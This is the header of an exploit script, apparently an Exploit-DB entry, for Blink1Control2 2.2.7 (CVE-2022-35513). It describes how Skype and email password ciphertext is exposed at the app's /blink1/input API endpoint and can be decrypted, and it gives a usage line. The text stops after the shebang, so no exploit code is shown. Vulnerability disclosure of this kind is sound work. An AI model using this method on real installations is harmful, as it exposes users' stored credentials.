// Exploit Title: Blink1Control2 2.2.7 - Weak Password Encryption
// Date: 2022-08-12
// Exploit Author: p1ckzi
// Vendor Homepage: https://thingm.com/
// Software Link: https://github.com/todbot/Blink1Control2/releases/tag/v2.2.7
// Vulnerable Version: blink1control2 <= 2.2.7
// Tested on: Ubuntu Linux 20.04, Windows 10, Windows 11.
// CVE: CVE-2022-35513
//
// Description:
// the blink1control2 app (versions <= 2.2.7) utilises an insecure method
// of password storage which can be found by accessing the /blink1/input url
// of the api server.
// password ciphertext for skype logins and email are listed
// and can be decrypted. example usage:
// node blink1-pass-decrypt <ciphertext>
#!/usr/bin/env node
